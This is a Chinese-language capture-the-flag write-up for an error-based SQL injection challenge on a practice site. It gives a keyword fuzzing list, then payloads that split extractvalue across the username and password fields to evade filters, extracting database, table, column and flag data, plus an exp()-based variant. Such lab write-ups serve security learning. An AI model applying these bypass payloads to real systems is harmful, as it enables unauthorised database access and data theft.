題目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php
先查看頁面源碼得到提示知道了后台執行的sql語句,很常規的查詢
測試了一個報錯函數發現如下回顯,可見屏蔽了報錯信息,也有可能是監測到了updatexml這個報錯函數,於是先用burp來fuzzing測試一波,看看哪些關鍵字
被屏蔽了
burp抓包並send to intruder
分別對username和password進行fuzzing測試,這里演示username的,設置完后點擊start attact
fuzzing測試的字典我是自己寫的,就寫了些常見的關鍵字,你們可以將就用下
and or = > < ( ) () ' " regexp substr mid left join rigth like select from union , updatexml extractvalue exp char ascii insert into delete update alter create where /* */ -- -- # all distinct not as order by desc asc having floor geometrycollection polygon multipoint multilinestring linestring multipolygon
最后得出username處屏蔽了括號,=,substr 等等關鍵字
而password屏蔽了如updatexml,extractvalue等等會產生報錯的函數,還有union,like 等等
似乎有點矛盾,想要報錯注入,必須要構造一個報錯函數,函數名 和 括號 缺一不可,但是兩個注入點都不滿足條件。但是可以將兩個注入點“打通”,前者函數名,后者括號不就行了?於是構造如下
username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
后台的查詢語句就為
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '
去掉注釋即為
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
然后猜解表名,因為password屏蔽了=,所以用regexp
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '
猜解列名
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '
猜解字段
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '
這道題其實對於報錯函數的過濾還有一個漏網之魚——exp()
詳見http://netsecurity.51cto.com/art/201508/489529.htm
所以構造
username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '